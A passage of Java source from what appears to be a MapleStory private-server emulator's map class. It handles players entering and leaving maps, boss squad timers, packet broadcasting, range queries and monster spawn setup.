chr.getClient().getSession().write(PetPacket.updatePet(pet, chr.getInventory(MapleInventoryType.CASH).getItem((short) (byte) pet.getInventoryPosition()), false));
chr.getClient().getSession().write(PetPacket.showPet(chr, pet, false, false, true));
chr.getClient().getSession().write(PetPacket.showPetUpdate(chr, pet.getUniqueId(), (byte) (pet.getSummonedValue() - 1)));
}
if (chr.getSummonedFamiliar() != null) {
chr.spawnFamiliar(chr.getSummonedFamiliar(), true);
}
if (chr.getAndroid() != null) {
chr.getAndroid().setPos(chr.getPosition());
broadcastMessage(CField.spawnAndroid(chr, chr.getAndroid()));
}
if (chr.getParty() != null && !chr.isClone()) {
chr.silentPartyUpdate();
chr.getClient().getSession().write(PartyPacket.updateParty(chr.getClient().getChannel(), chr.getParty(), PartyOperation.SILENT_UPDATE, null));
}
boolean quickMove = false;
if (!chr.isInBlockedMap() && chr.getLevel() >= 10) {
List<QuickMoveNPC> qmn = new LinkedList();
for (QuickMove qm : QuickMove.values()) {
if (qm.getMap() == chr.getMapId()) {
long npcs = qm.getNPCFlag();
for (QuickMoveNPC npc : QuickMoveNPC.values()) {
if ((npcs & npc.getValue()) != 0 && npc.show()) {
qmn.add(npc);
}
}
quickMove = true;
break;
}
}
if (QuickMove.GLOBAL_NPC != 0 && !GameConstants.isBossMap(chr.getMapId()) && !GameConstants.isTutorialMap(chr.getMapId())) {
for (QuickMoveNPC npc : QuickMoveNPC.values()) {
if ((QuickMove.GLOBAL_NPC & npc.getValue()) != 0 && npc.show()) {
qmn.add(npc);
}
}
quickMove = true;
}
if (quickMove) {
chr.getClient().getSession().write(CField.getQuickMoveInfo(true, qmn));
}
}
if (!quickMove) {
chr.getClient().getSession().write(CField.getQuickMoveInfo(false, new LinkedList()));
}
if (getNPCById(9073000) != null && getId() == 931050410) {
chr.getClient().getSession().write(CField.NPCPacket.toggleNPCShow(getNPCById(9073000).getObjectId(), true));
}
if (MapleJob.is幻影俠盜(chr.getJob())) {
chr.getClient().getSession().write(PhantomPacket.updateCardStack(chr.getCardStack()));
}
if (!chr.isClone()) {
final List<MapleSummon> ss = chr.getSummonsReadLock();
try {
for (MapleSummon summon : ss) {
summon.setPosition(chr.getTruePosition());
chr.addVisibleMapObject(summon);
this.spawnSummon(summon);
}
} finally {
chr.unlockSummonsReadLock();
}
}
if (mapEffect != null) {
mapEffect.sendStartData(chr.getClient());
}
if (timeLimit > 0 && getForcedReturnMap() != null && !chr.isClone()) {
chr.startMapTimeLimitTask(timeLimit, getForcedReturnMap());
}
if (chr.getBuffedValue(MapleBuffStat.MONSTER_RIDING) != null && !MapleJob.is末日反抗軍(chr.getJob())) {
if (FieldLimitType.Mount.check(fieldLimit)) {
chr.cancelEffectFromBuffStat(MapleBuffStat.MONSTER_RIDING);
}
}
if (!chr.isClone()) {
if (chr.getEventInstance() != null && chr.getEventInstance().isTimerStarted() && !chr.isClone()) {
if (chr.inPVP()) {
chr.getClient().getSession().write(CField.getPVPClock(Integer.parseInt(chr.getEventInstance().getProperty("type")), (int) (chr.getEventInstance().getTimeLeft() / 1000)));
} else {
chr.getClient().getSession().write(CField.getClock((int) (chr.getEventInstance().getTimeLeft() / 1000)));
}
}
if (hasClock()) {
final Calendar cal = Calendar.getInstance();
chr.getClient().getSession().write((CField.getClockTime(cal.get(Calendar.HOUR_OF_DAY), cal.get(Calendar.MINUTE), cal.get(Calendar.SECOND))));
}
if (chr.getCarnivalParty() != null && chr.getEventInstance() != null) {
chr.getEventInstance().onMapLoad(chr);
}
MapleEvent.mapLoad(chr, channel);
if (getSquadBegin() != null && getSquadBegin().getTimeLeft() > 0 && getSquadBegin().getStatus() == 1) {
chr.getClient().getSession().write(CField.getClock((int) (getSquadBegin().getTimeLeft() / 1000)));
}
if (mapid / 1000 != 105100 && mapid / 100 != 8020003 && mapid / 100 != 8020008 && mapid != 271040100) { //no boss_balrog/2095/coreblaze/auf/cygnus. but coreblaze/auf/cygnus does AFTER
final MapleSquad sqd = getSquadByMap(); //for all squads
final EventManager em = getEMByMap();
if (!squadTimer && sqd != null && chr.getName().equals(sqd.getLeaderName()) && em != null && em.getProperty("leader") != null && em.getProperty("leader").equals("true") && checkStates) {
//leader? display
doShrine(false);
squadTimer = true;
}
}
if (getNumMonsters() > 0 && (mapid == 280030001 || mapid == 240060201 || mapid == 280030000 || mapid == 240060200 || mapid == 220080001 || mapid == 541020800 || mapid == 541010100)) {
String music = "Bgm09/TimeAttack";
switch (mapid) {
case 240060200:
case 240060201:
music = "Bgm14/HonTale";
break;
case 280030000:
case 280030001:
music = "Bgm06/FinalFight";
break;
}
chr.getClient().getSession().write(CField.musicChange(music));
//maybe timer too for zak/ht
}
for (final WeakReference<MapleCharacter> chrz : chr.getClones()) {
if (chrz.get() != null) {
chrz.get().setPosition(chr.getTruePosition());
chrz.get().setMap(this);
addPlayer(chrz.get());
}
}
if (mapid == 914000000 || mapid == 927000000) {
chr.getClient().getSession().write(CWvsContext.temporaryStats_Aran());
} else if (mapid == 105100300 && chr.getLevel() >= 91) {
chr.getClient().getSession().write(CWvsContext.temporaryStats_Balrog(chr));
} else if (mapid == 140090000 || mapid == 105100301 || mapid == 105100401 || mapid == 105100100) {
chr.getClient().getSession().write(CWvsContext.temporaryStats_Reset());
}
}
if (MapleJob.is龍魔導士(chr.getJob()) && chr.getJob() >= 2200) {
if (chr.getDragon() == null) {
chr.makeDragon();
} else {
chr.getDragon().setPosition(chr.getPosition());
}
if (chr.getDragon() != null) {
broadcastMessage(CField.spawnDragon(chr.getDragon()));
}
}
if (MapleJob.is陰陽師(chr.getJob())) {
if (chr.getHaku() == null && chr.getBuffedValue(MapleBuffStat.HAKU_REBORN) == null) {
chr.makeHaku();
} else {
chr.getHaku().setPosition(chr.getPosition());
}
if (chr.getHaku() != null) {
if (chr.getBuffSource(MapleBuffStat.HAKU_REBORN) > 0) {
chr.getHaku().sendStats();
chr.getMap().broadcastMessage(chr, CField.spawnHaku_change0(chr.getId()), true);
chr.getMap().broadcastMessage(chr, CField.spawnHaku_change1(chr.getHaku()), true);
chr.getMap().broadcastMessage(chr, CField.spawnHaku_bianshen(chr.getId(), chr.getHaku().getObjectId(), chr.getHaku().getStats()), true);
} else {
broadcastMessage(CField.spawnHaku(chr.getHaku()));
}
}
}
if (permanentWeather > 0) {
chr.getClient().getSession().write(CField.startMapEffect("", permanentWeather, false)); //snow, no msg
}
if (getPlatforms().size() > 0) {
chr.getClient().getSession().write(CField.getMovingPlatforms(this));
}
if (environment.size() > 0) {
chr.getClient().getSession().write(CField.getUpdateEnvironment(this));
}
//if (partyBonusRate > 0) {
// chr.dropMessage(-1, partyBonusRate + "% additional EXP will be applied per each party member here.");
// chr.dropMessage(-1, "You've entered the party play zone.");
//}
if (isTown()) {
chr.cancelEffectFromBuffStat(MapleBuffStat.RAINING_MINES);
}
if (!canSoar()) {
chr.cancelEffectFromBuffStat(MapleBuffStat.SOARING);
}
if (chr.getJob() < 3200 || chr.getJob() > 3212) {
//chr.cancelEffectFromBuffStat(MapleBuffStat.AURA);
}
chr.getClient().getSession().write(CWvsContext.showChronosphere(chr));
if (chr.getCustomBGState() == 1) {
chr.removeBGLayers();
}
}
public int getNumItems() {
mapobjectlocks.get(MapleMapObjectType.ITEM).readLock().lock();
try {
return mapobjects.get(MapleMapObjectType.ITEM).size();
} finally {
mapobjectlocks.get(MapleMapObjectType.ITEM).readLock().unlock();
}
}
public int getNumMonsters() {
mapobjectlocks.get(MapleMapObjectType.MONSTER).readLock().lock();
try {
return mapobjects.get(MapleMapObjectType.MONSTER).size();
} finally {
mapobjectlocks.get(MapleMapObjectType.MONSTER).readLock().unlock();
}
}
public void doShrine(final boolean spawned) { //false = entering map, true = defeated
if (squadSchedule != null) {
cancelSquadSchedule(true);
}
final MapleSquad sqd = getSquadByMap();
if (sqd == null) {
return;
}
final int mode = (mapid == 280030000 ? 1 : (mapid == 280030001 ? 2 : (mapid == 240060200 || mapid == 240060201 ? 3 : 0)));
//chaos_horntail message for horntail too because it looks nicer
final EventManager em = getEMByMap();
if (sqd != null && em != null && getCharactersSize() > 0) {
final String leaderName = sqd.getLeaderName();
final String state = em.getProperty("state");
final Runnable run;
MapleMap returnMapa = getForcedReturnMap();
if (returnMapa == null || returnMapa.getId() == mapid) {
returnMapa = getReturnMap();
}
if (mode == 1 || mode == 2) { //chaoszakum
broadcastMessage(CField.showChaosZakumShrine(spawned, 5));
} else if (mode == 3) { //ht/chaosht
broadcastMessage(CField.showChaosHorntailShrine(spawned, 5));
} else {
broadcastMessage(CField.showHorntailShrine(spawned, 5));
}
if (spawned) { //both of these together dont go well
broadcastMessage(CField.getClock(300)); //5 min
}
final MapleMap returnMapz = returnMapa;
if (!spawned) { //no monsters yet; inforce timer to spawn it quickly
final List<MapleMonster> monsterz = getAllMonstersThreadsafe();
final List<Integer> monsteridz = new ArrayList<>();
for (MapleMapObject m : monsterz) {
monsteridz.add(m.getObjectId());
}
run = new Runnable() {
@Override
public void run() {
final MapleSquad sqnow = MapleMap.this.getSquadByMap();
if (MapleMap.this.getCharactersSize() > 0 && MapleMap.this.getNumMonsters() == monsterz.size() && sqnow != null && sqnow.getStatus() == 2 && sqnow.getLeaderName().equals(leaderName) && MapleMap.this.getEMByMap().getProperty("state").equals(state)) {
boolean passed = monsterz.isEmpty();
for (MapleMapObject m : MapleMap.this.getAllMonstersThreadsafe()) {
for (int i : monsteridz) {
if (m.getObjectId() == i) {
passed = true;
break;
}
}
if (passed) {
break;
} //even one of the monsters is the same
}
if (passed) {
//are we still the same squad? are monsters still == 0?
byte[] packet;
if (mode == 1 || mode == 2) { //chaoszakum
packet = CField.showChaosZakumShrine(spawned, 0);
} else {
packet = CField.showHorntailShrine(spawned, 0); //chaoshorntail message is weird
}
for (MapleCharacter chr : MapleMap.this.getCharactersThreadsafe()) { //warp all in map
chr.getClient().getSession().write(packet);
chr.changeMap(returnMapz, returnMapz.getPortal(0)); //hopefully event will still take care of everything once warp out
}
checkStates("");
resetFully();
}
}
}
};
} else { //inforce timer to gtfo
run = new Runnable() {
@Override
public void run() {
MapleSquad sqnow = MapleMap.this.getSquadByMap();
//we dont need to stop clock here because they're getting warped out anyway
if (MapleMap.this.getCharactersSize() > 0 && sqnow != null && sqnow.getStatus() == 2 && sqnow.getLeaderName().equals(leaderName) && MapleMap.this.getEMByMap().getProperty("state").equals(state)) {
//are we still the same squad? monsters however don't count
byte[] packet;
if (mode == 1 || mode == 2) { //chaoszakum
packet = CField.showChaosZakumShrine(spawned, 0);
} else {
packet = CField.showHorntailShrine(spawned, 0); //chaoshorntail message is weird
}
for (MapleCharacter chr : MapleMap.this.getCharactersThreadsafe()) { //warp all in map
chr.getClient().getSession().write(packet);
chr.changeMap(returnMapz, returnMapz.getPortal(0)); //hopefully event will still take care of everything once warp out
}
checkStates("");
resetFully();
}
}
};
}
squadSchedule = MapTimer.getInstance().schedule(run, 300000); //5 mins
}
}
public final MapleSquad getSquadByMap() {
MapleSquadType zz = null;
switch (mapid) {
case 105100400:
case 105100300:
zz = MapleSquadType.bossbalrog;
break;
case 280030000:
zz = MapleSquadType.zak;
break;
case 280030001:
zz = MapleSquadType.chaoszak;
break;
case 240060200:
zz = MapleSquadType.horntail;
break;
case 240060201:
zz = MapleSquadType.chaosht;
break;
case 270050100:
zz = MapleSquadType.pinkbean;
break;
case 802000111:
zz = MapleSquadType.nmm_squad;
break;
case 802000211:
zz = MapleSquadType.vergamot;
break;
case 802000311:
zz = MapleSquadType.tokyo_2095;
break;
case 802000411:
zz = MapleSquadType.dunas;
break;
case 802000611:
zz = MapleSquadType.nibergen_squad;
break;
case 802000711:
zz = MapleSquadType.dunas2;
break;
case 802000801:
case 802000802:
case 802000803:
zz = MapleSquadType.core_blaze;
break;
case 802000821:
case 802000823:
zz = MapleSquadType.aufheben;
break;
case 211070100:
case 211070101:
case 211070110:
zz = MapleSquadType.vonleon;
break;
case 551030200:
zz = MapleSquadType.scartar;
break;
case 271040100:
zz = MapleSquadType.cygnus;
break;
case 262030300:
zz = MapleSquadType.hilla;
break;
case 262031300:
zz = MapleSquadType.darkhilla;
break;
case 272030400:
zz = MapleSquadType.arkarium;
break;
default:
return null;
}
return ChannelServer.getInstance(channel).getMapleSquad(zz);
}
public final MapleSquad getSquadBegin() {
if (squad != null) {
return ChannelServer.getInstance(channel).getMapleSquad(squad);
}
return null;
}
public final EventManager getEMByMap() {
String em;
switch (mapid) {
case 105100400:
em = "BossBalrog_EASY";
break;
case 105100300:
em = "BossBalrog_NORMAL";
break;
case 280030000:
em = "ZakumBattle";
break;
case 240060200:
em = "HorntailBattle";
break;
case 280030001:
em = "ChaosZakum";
break;
case 240060201:
em = "ChaosHorntail";
break;
case 270050100:
em = "PinkBeanBattle";
break;
case 802000111:
em = "NamelessMagicMonster";
break;
case 802000211:
em = "Vergamot";
break;
case 802000311:
em = "2095_tokyo";
break;
case 802000411:
em = "Dunas";
break;
case 802000611:
em = "Nibergen";
break;
case 802000711:
em = "Dunas2";
break;
case 802000801:
case 802000802:
case 802000803:
em = "CoreBlaze";
break;
case 802000821:
case 802000823:
em = "Aufhaven";
break;
case 211070100:
case 211070101:
case 211070110:
em = "VonLeonBattle";
break;
case 551030200:
em = "ScarTarBattle";
break;
case 271040100:
em = "CygnusBattle";
break;
case 262030300:
em = "HillaBattle";
break;
case 262031300:
em = "DarkHillaBattle";
break;
case 272020110:
case 272030400:
em = "ArkariumBattle";
break;
case 955000100:
case 955000200:
case 955000300:
em = "AswanOffSeason";
break;
//case 689010000:
// em = "PinkZakumEntrance";
// break;
//case 689013000:
// em = "PinkZakumFight";
// break;
default:
if (mapid >= 262020000 && mapid < 262023000) {
em = "Azwan";
break;
}
return null;
}
return ChannelServer.getInstance(channel).getEventSM().getEventManager(em);
}
public final void removePlayer(final MapleCharacter chr) {
//log.warn("[dc] [level2] Player {} leaves map {}", new Object[] { chr.getName(), mapid });
if (everlast) {
returnEverLastItem(chr);
}
charactersLock.writeLock().lock();
try {
characters.remove(chr);
} finally {
charactersLock.writeLock().unlock();
}
removeMapObject(chr);
broadcastMessage(CField.removePlayerFromMap(chr.getId()));
for (MapleMonster monster : chr.getControlledMonsters()) {
monster.setController(null);
monster.setControllerHasAggro(false);
monster.setControllerKnowsAboutAggro(false);
updateMonsterController(monster);
}
chr.checkFollow();
chr.removeExtractor();
if (chr.getSummonedFamiliar() != null) {
chr.removeVisibleFamiliar();
}
List<MapleSummon> toCancel = new ArrayList<>();
final List<MapleSummon> ss = chr.getSummonsReadLock();
try {
for (final MapleSummon summon : ss) {
broadcastMessage(SummonPacket.removeSummon(summon, true));
removeMapObject(summon);
if (summon.getMovementType() == SummonMovementType.不會移動 || summon.getMovementType() == SummonMovementType.CIRCLE_STATIONARY || summon.getMovementType() == SummonMovementType.自由移動) {
toCancel.add(summon);
} else {
summon.setChangedMap(true);
}
}
} finally {
chr.unlockSummonsReadLock();
}
for (MapleSummon summon : toCancel) {
chr.removeSummon(summon);
chr.dispelSkill(summon.getSkill()); //remove the buff
}
if (!chr.isClone()) {
checkStates(chr.getName());
if (mapid == 109020001) {
chr.canTalk(true);
}
for (final WeakReference<MapleCharacter> chrz : chr.getClones()) {
if (chrz.get() != null) {
removePlayer(chrz.get());
}
}
chr.leaveMap(this);
}
}
public final void broadcastMessage(final byte[] packet) {
broadcastMessage(null, packet, Double.POSITIVE_INFINITY, null);
}
public final void broadcastMessage(final MapleCharacter source, final byte[] packet, final boolean repeatToSource) {
broadcastMessage(repeatToSource ? null : source, packet, Double.POSITIVE_INFINITY, source.getTruePosition());
}
/* public void broadcastMessage(MapleCharacter source, byte[] packet, boolean repeatToSource, boolean ranged) {
broadcastMessage(repeatToSource ? null : source, packet, ranged ? MapleCharacter.MAX_VIEW_RANGE_SQ : Double.POSITIVE_INFINITY, source.getPosition());
}*/
public final void broadcastMessage(final byte[] packet, final Point rangedFrom) {
broadcastMessage(null, packet, GameConstants.maxViewRangeSq(), rangedFrom);
}
public final void broadcastMessage(final MapleCharacter source, final byte[] packet, final Point rangedFrom) {
broadcastMessage(source, packet, GameConstants.maxViewRangeSq(), rangedFrom);
}
public void broadcastMessage(final MapleCharacter source, final byte[] packet, final double rangeSq, final Point rangedFrom) {
charactersLock.readLock().lock();
try {
for (MapleCharacter chr : characters) {
if (chr != source) {
if (rangeSq < Double.POSITIVE_INFINITY) {
if (rangedFrom.distanceSq(chr.getTruePosition()) <= rangeSq) {
chr.getClient().getSession().write(packet);
}
} else {
chr.getClient().getSession().write(packet);
}
}
}
} finally {
charactersLock.readLock().unlock();
}
}
private void sendObjectPlacement(final MapleCharacter c) {
if (c == null || c.isClone()) {
return;
}
for (final MapleMapObject o : getMapObjectsInRange(c.getTruePosition(), c.getRange(), GameConstants.rangedMapobjectTypes)) {
if (o.getType() == MapleMapObjectType.REACTOR) {
if (!((MapleReactor) o).isAlive()) {
continue;
}
}
if (o.getType() == MapleMapObjectType.NPC) {
int npcId = ((MapleNPC) o).getId();
if (getId() == 807040000) {
if (npcId == 9130031 && !MapleJob.is劍豪(c.getJob())) {
continue;
}
if (npcId == 9130082 && !MapleJob.is陰陽師(c.getJob())) {
continue;
}
} else if (getId() == 807040100) {
if (npcId == 9130024 && !MapleJob.is劍豪(c.getJob())) {
continue;
}
if (npcId == 9130083 && !MapleJob.is陰陽師(c.getJob())) {
continue;
}
}
}
o.sendSpawnData(c.getClient());
c.addVisibleMapObject(o);
}
}
public final List<MaplePortal> getPortalsInRange(final Point from, final double rangeSq) {
final List<MaplePortal> ret = new ArrayList<>();
for (MaplePortal type : portals.values()) {
if (from.distanceSq(type.getPosition()) <= rangeSq && type.getTargetMapId() != mapid && type.getTargetMapId() != 999999999) {
ret.add(type);
}
}
return ret;
}
public final List<MapleMapObject> getMapObjectsInRange(final Point from, final double rangeSq) {
final List<MapleMapObject> ret = new ArrayList<>();
for (MapleMapObjectType type : MapleMapObjectType.values()) {
mapobjectlocks.get(type).readLock().lock();
try {
Iterator<MapleMapObject> itr = mapobjects.get(type).values().iterator();
while (itr.hasNext()) {
MapleMapObject mmo = itr.next();
if (from.distanceSq(mmo.getTruePosition()) <= rangeSq) {
ret.add(mmo);
}
}
} finally {
mapobjectlocks.get(type).readLock().unlock();
}
}
return ret;
}
public List<MapleMapObject> getItemsInRange(Point from, double rangeSq) {
return getMapObjectsInRange(from, rangeSq, Arrays.asList(MapleMapObjectType.ITEM));
}
public List<MapleMapObject> getMonstersInRange(Point from, double rangeSq) {
return getMapObjectsInRange(from, rangeSq, Arrays.asList(MapleMapObjectType.MONSTER));
}
public final List<MapleMapObject> getMapObjectsInRange(final Point from, final double rangeSq, final List<MapleMapObjectType> MapObject_types) {
final List<MapleMapObject> ret = new ArrayList<>();
for (MapleMapObjectType type : MapObject_types) {
mapobjectlocks.get(type).readLock().lock();
try {
Iterator<MapleMapObject> itr = mapobjects.get(type).values().iterator();
while (itr.hasNext()) {
MapleMapObject mmo = itr.next();
if (from.distanceSq(mmo.getTruePosition()) <= rangeSq) {
ret.add(mmo);
}
}
} finally {
mapobjectlocks.get(type).readLock().unlock();
}
}
return ret;
}
public final List<MapleMapObject> getMapObjectsInRect(final Rectangle box, final List<MapleMapObjectType> MapObject_types) {
final List<MapleMapObject> ret = new ArrayList<>();
for (MapleMapObjectType type : MapObject_types) {
mapobjectlocks.get(type).readLock().lock();
try {
Iterator<MapleMapObject> itr = mapobjects.get(type).values().iterator();
while (itr.hasNext()) {
MapleMapObject mmo = itr.next();
if (box.contains(mmo.getTruePosition())) {
ret.add(mmo);
}
}
} finally {
mapobjectlocks.get(type).readLock().unlock();
}
}
return ret;
}
public final List<MapleCharacter> getCharactersIntersect(final Rectangle box) {
final List<MapleCharacter> ret = new ArrayList<>();
charactersLock.readLock().lock();
try {
for (MapleCharacter chr : characters) {
if (chr.getBounds().intersects(box)) {
ret.add(chr);
}
}
} finally {
charactersLock.readLock().unlock();
}
return ret;
}
public final List<MapleCharacter> getPlayersInRectAndInList(final Rectangle box, final List<MapleCharacter> chrList) {
final List<MapleCharacter> character = new LinkedList<>();
charactersLock.readLock().lock();
try {
final Iterator<MapleCharacter> ltr = characters.iterator();
MapleCharacter a;
while (ltr.hasNext()) {
a = ltr.next();
if (chrList.contains(a) && box.contains(a.getTruePosition())) {
character.add(a);
}
}
} finally {
charactersLock.readLock().unlock();
}
return character;
}
public final void addPortal(final MaplePortal myPortal) {
portals.put(myPortal.getId(), myPortal);
}
public final MaplePortal getPortal(final String portalname) {
for (final MaplePortal port : portals.values()) {
if (port.getName().equals(portalname)) {
return port;
}
}
return null;
}
public final MaplePortal getPortal(final int portalid) {
return portals.get(portalid);
}
public final void resetPortals() {
for (final MaplePortal port : portals.values()) {
port.setPortalState(true);
}
}
public final void setFootholds(final MapleFootholdTree footholds) {
this.footholds = footholds;
}
public final MapleFootholdTree getFootholds() {
return footholds;
}
public final int getNumSpawnPoints() {
return monsterSpawn.size();
}
public final void loadMonsterRate(final boolean first) {
final int spawnSize = monsterSpawn.size();
if (spawnSize >= 20 || partyBonusRate > 0) {
maxRegularSpawn = Math.round(spawnSize / monsterRate);
} else {
maxRegularSpawn = (int) Math.ceil(spawnSize * monsterRate);
}
if (fixedMob > 0) {
maxRegularSpawn = fixedMob;
} else if (maxRegularSpawn <= 2) {
maxRegularSpawn = 2;
} else if (maxRegularSpawn > spawnSize) {
maxRegularSpawn = Math.max(10, spawnSize);
}
Collection<Spawns> newSpawn = new LinkedList<>();
Collection<Spawns> newBossSpawn = new LinkedList<>();
for (final Spawns s : monsterSpawn) {
if (s.getCarnivalTeam() >= 2) {
continue; // Remove carnival spawned mobs
}
if (s.getMonster().isBoss()) {
newBossSpawn.add(s);
} else {
newSpawn.add(s);
}
}
monsterSpawn.clear();
monsterSpawn.addAll(newBossSpawn);
monsterSpawn.addAll(newSpawn);
if (first && spawnSize > 0) {
lastSpawnTime = System.currentTimeMillis();
if (GameConstants.isForceRespawn(mapid)) {
createMobInterval = 15000;
}
respawn(false); // this should do the trick, we don't need to wait upon entering map
}
}
public final SpawnPoint addMonsterSpawn(final MapleMonster monster, final int mobTime, final byte carnivalTeam, final String msg) {
final Point newpos = calcPointBelow(monster.getPosition());
newpos.y -= 1;
final SpawnPoint sp = new SpawnPoint(monster, newpos, mobTime, carnivalTeam, msg);
if (carnivalTeam > -1) {
monsterSpawn.add(0, sp); //at the beginning
} else {
monsterSpawn.add(sp);
}
return sp;
}
public final void addAreaMonsterSpawn(final MapleMonster monster, Point pos1, Point pos2, Point pos3, final int mobTime, final String msg, final boolean shouldSpawn) {
pos1 = calcPointBelow(pos1);
pos2 = calcPointBelow(pos2);
pos3 = calcPointBelow(pos3);
if (pos1 != null) {
pos1.y -= 1;
}
if (pos2 != null) {
pos2.y -= 1;
}
if (pos3 != null) {
pos3.y -= 1;
}
if (pos1 == null && pos2 == null && pos3 == null) {
System.out.println("WARNING: mapid " + mapid + ", monster " + monster.getId() + " could not be spawned.");
return;
} else if (pos1 != null) {
if (pos2 == null) {
pos2 = new Point(pos1);
}
if (pos3 == null) {
pos3 = new Point(pos1);
}
} else if (pos2 != null) {
if (pos1 == null) {
pos1 = new Point(pos2);
}
if (pos3 == null) {
pos3 = new Point(pos2);
}
} else if (pos3 != null) {
if (pos1 == null) {
pos1 = new Point(pos3);
}
if (pos2 == null) {
pos2 = new Point(pos3);
}
}
monsterSpawn.add(new SpawnPointAreaBoss(monster, pos1, pos2, pos3, mobTime, msg, shouldSpawn));
}
public final List<MapleCharacter> getCharacters() {
return getCharactersThreadsafe();
}
public final List<MapleCharacter> getCharactersThreadsafe() {
final List<MapleCharacter> chars = new ArrayList<>();
charactersLock.readLock().lock();
try {
for (MapleCharacter mc : characters) {
chars.add(mc);
}
} finally {
charactersLock.readLock().unlock();
}
return chars;
}
public final MapleCharacter getCharacterByName(final String id) {
charactersLock.readLock().lock();
try {
for (MapleCharacter mc : characters) {
if (mc.getName().equalsIgnoreCase(id)) {
return mc;
}
}
} finally {
charactersLock.readLock().unlock();
}
return null;
}
public final MapleCharacter getCharacterById_InMap(final int id) {
return getCharacterById(id);
}
public final MapleCharacter getCharacterById(final int id) {
charactersLock.readLock().lock();
try {
for (MapleCharacter mc : characters) {
if (mc.getId() == id) {
return mc;
}
}
} finally {
charactersLock.readLock().unlock();
}
return null;
}
public final void updateMapObjectVisibility(final MapleCharacter chr, final MapleMapObject mo) {
if (chr == null || chr.isClone()) {
return;
}
if (!chr.isMapObjectVisible(mo)) { // monster entered view range
if (mo.getType() == MapleMapObjectType.MIST || mo.getType() == MapleMapObjectType.EXTRACTOR || mo.getType() == MapleMapObjectType.SUMMON || mo.getType() == MapleMapObjectType.FAMILIAR || mo instanceof MechDoor || mo.getTruePosition().distanceSq(chr.getTruePosition()) <= mo.getRange()) {
chr.addVisibleMapObject(mo);
mo.sendSpawnData(chr.getClient());
}
} else { // monster left view range
if (!(mo instanceof MechDoor) && mo.getType() != MapleMapObjectType.MIST && mo.getType() != MapleMapObjectType.EXTRACTOR && mo.getType() != MapleMapObjectType.SUMMON && mo.getType() != MapleMapObjectType.FAMILIAR && mo.getTruePosition().distanceSq(chr.getTruePosition()) > mo.getRange()) {
chr.removeVisibleMapObject(mo);
mo.sendDestroyData(chr.getClient());
} else if (mo.getType() == MapleMapObjectType.MONSTER) { //monster didn't leave view range, and is visible
if (chr.getTruePosition().distanceSq(mo.getTruePosition()) <= GameConstants.maxViewRangeSq_Half()) {
updateMonsterController((MapleMonster) mo);
}
}
}
}
public void moveMonster(MapleMonster monster, Point reportedPos) {
monster.setPosition(reportedPos);
charactersLock.readLock().lock();
try {
for (MapleCharacter mc : characters) {
updateMapObjectVisibility(mc, monster);
}
} finally {
charactersLock.readLock().unlock();
}
}
public void movePlayer(final MapleCharacter player, final Point newPosition) {
player.setPosition(newPosition);
if (!player.isClone()) {
try {
Collection<MapleMapObject> visibleObjects = player.getAndWriteLockVisibleMapObjects();
ArrayList<MapleMapObject> copy = new ArrayList<>(visibleObjects);
Iterator<MapleMapObject> itr = copy.iterator();
while (itr.hasNext()) {
MapleMapObject mo = itr.next();
if (mo != null && getMapObject(mo.getObjectId(), mo.getType()) == mo) {
updateMapObjectVisibility(player, mo);
} else if (mo != null) {
visibleObjects.remove(mo);
}
}
for (MapleMapObject mo : getMapObjectsInRange(player.getTruePosition(), player.getRange())) {
if (mo != null && !visibleObjects.contains(mo)) {
if (mo.getType() == MapleMapObjectType.NPC) {
int npcId = ((MapleNPC) mo).getId();
if (getId() == 807040000) {
if (npcId == 9130031 && !MapleJob.is劍豪(player.getJob())) {
continue;
}
if (npcId == 9130082 && !MapleJob.is陰陽師(player.getJob())) {
continue;
}
} else if (getId() == 807040100) {
if (npcId == 9130024 && !MapleJob.is劍豪(player.getJob())) {
continue;
}
if (npcId == 9130083 && !MapleJob.is陰陽師(player.getJob())) {
continue;
}
}
}
mo.sendSpawnData(player.getClient());
visibleObjects.add(mo);
}
}
} finally {
player.unlockWriteVisibleMapObjects();
}
}
}
public MaplePortal findClosestSpawnpoint(Point from) {
MaplePortal closest = getPortal(0);
double distance, shortestDistance = Double.POSITIVE_INFINITY;
for (MaplePortal portal : portals.values()) {
distance = portal.getPosition().distanceSq(from);
if (portal.getType() >= 0 && portal.getType() <= 2 && distance < shortestDistance && portal.getTargetMapId() == 999999999) {
closest = portal;
shortestDistance = distance;
}
}
return closest;
}
public MaplePortal findClosestPortal(Point from) {
MaplePortal closest = getPortal(0);
double distance, shortestDistance = Double.POSITIVE_INFINITY;
for (MaplePortal portal : portals.values()) {
distance = portal.getPosition().distanceSq(from);
if (distance < shortestDistance) {
closest = portal;
shortestDistance = distance;
}
}
return closest;
}
public String spawnDebug() {
StringBuilder sb = new StringBuilder("Mobs in map : ");
sb.append(this.getMobsSize());
sb.append(" spawnedMonstersOnMap: ");
sb.append(spawnedMonstersOnMap);
sb.append(" spawnpoints: ");
sb.append(monsterSpawn.size());
sb.append(" maxRegularSpawn: ");
sb.append(maxRegularSpawn);
sb.append(" actual monsters: ");
sb.append(getNumMonsters());
sb.append(" monster rate: ");
sb.append(monsterRate);
sb.append(" fixed: ");
sb.append(fixedMob);
return sb.toString();
}
public int characterSize() {
return characters.size();
}
public final int getMapObjectSize() {
return mapobjects.size() + getCharactersSize() - characters.size();
}
public final int getCharactersSize() {
int ret = 0;
charactersLock.readLock().lock();
try {
final Iterator<MapleCharacter> ltr = characters.iterator();
MapleCharacter chr;
while (ltr.hasNext()) {
chr = ltr.next();
if (!chr.isClone()) {
ret++;
}
}
} finally {
charactersLock.readLock().unlock();
}
return ret;
}
public Collection<MaplePortal> getPortals() {
return Collections.unmodifiableCollection(portals.values());
}
public int getSpawnedMonstersOnMap() {
return spawnedMonstersOnMap.get();
}
public void spawnMonsterOnGroudBelow(MapleMonster mob, Point pos) {
spawnMonsterOnGroundBelow(mob, pos);
}
private class ActivateItemReactor implements Runnable {
private final MapleMapItem mapitem;
private final MapleReactor reactor;
private final MapleClient c;
public ActivateItemReactor(MapleMapItem mapitem, MapleReactor reactor, MapleClient c) {
this.mapitem = mapitem;
this.reactor = reactor;
this.c = c;
}
@Override
public void run() {
if (mapitem != null && mapitem == getMapObject(mapitem.getObjectId(), mapitem.getType()) && !mapitem.isPickedUp()) {
mapitem.expire(MapleMap.this);
reactor.hitReactor(c);
reactor.setTimerActive(false);
if (reactor.getDelay() > 0) {
MapTimer.getInstance().schedule(new Runnable() {
@Override
public void run() {
reactor.forceHitReactor(c.getPlayer(), (byte) 0);
}
}, reactor.getDelay());
}
} else {
reactor.setTimerActive(false);
}
}
}
public void respawn(final boolean force) {
respawn(force, System.currentTimeMillis());
}
public void respawn(final boolean force, final long now) {
lastSpawnTime = now;
